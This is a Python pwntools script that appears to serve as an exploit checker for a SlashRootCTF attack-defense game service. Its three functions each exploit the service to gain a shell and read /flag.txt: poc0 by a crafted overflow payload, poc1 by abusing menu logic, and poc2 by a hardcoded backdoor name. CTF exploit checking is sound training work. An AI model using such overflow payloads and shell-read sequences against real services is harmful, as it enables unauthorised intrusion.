|
|
- #! /usr/bin/env python2
- from pwn import process, remote
-
- HOST = "192.168.2.20"
- TOTAL_TEAMS = 1
- FORMAT = "SlashRootCTF"
-
-
- def run():
- # return process(FILENAME)
- return remote("127.0.0.1", 60204)
-
-
- def poc0(host, port):
- p = remote(host, port)
- p.recvuntil(">")
- p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
- msg = p.recvuntil(">")
- # print(msg)
- if "young" in msg:
- p.sendline("y")
- p.recvuntil(">")
- p.sendline("2")
- p.recvuntil(">")
- p.sendline("4")
- p.recvuntil(">")
- p.sendline("y")
- for _ in xrange(10):
- p.recvuntil(">")
- p.sendline("99")
- p.sendline("cat /flag.txt")
- flag = p.recvuntil("}")
- # print flag
- if FORMAT in flag:
- return True
- else:
- return False
- else:
- return False
-
-
- def poc1(host, port):
- p = remote(host, port)
- p.recvuntil(">")
- p.sendline("Leo")
- p.recvuntil(">")
- p.sendline("y")
- for _ in range(2):
- p.recvuntil(">")
- p.sendline("3")
- p.recvuntil(">")
- p.sendline("0")
- if "Who" in p.recvuntil(">"):
- return False
- p.sendline("y")
- p.recvuntil(">")
- p.sendline("1")
- p.recvuntil(">")
- p.sendline("4")
- p.recvuntil(">")
- p.sendline("y")
- for _ in range(10):
- p.recvuntil(">")
- p.sendline("99")
- p.sendline("cat /flag.txt")
- flag = p.recvuntil("}")
- if FORMAT in flag:
- return True
- else:
- return False
-
-
- def poc2(host, port):
- p = remote(host, port)
- p.recvuntil(">")
- p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
- p.recvuntil(">")
- p.sendline("y")
- p.recvuntil(">")
- p.sendline("6")
- if "Lv: 1000000" in p.recvuntil(">"):
- p.sendline("2")
- p.recvuntil(">")
- p.sendline("4")
- p.recvuntil(">")
- p.sendline("y")
- for _ in xrange(10):
- p.recvuntil(">")
- p.sendline("99")
- p.sendline("cat /flag.txt")
- flag = p.recvuntil("}")
- if FORMAT in flag:
- return True
- else:
- return False
- else:
- return False
-
-
- if __name__ == "__main__":
- for i in range(1, TOTAL_TEAMS+1):
- print poc0(HOST, (60004 + (i*100)))
- print poc1(HOST, (60004 + (i*100)))
- print poc2(HOST, (60004 + (i*100)))
|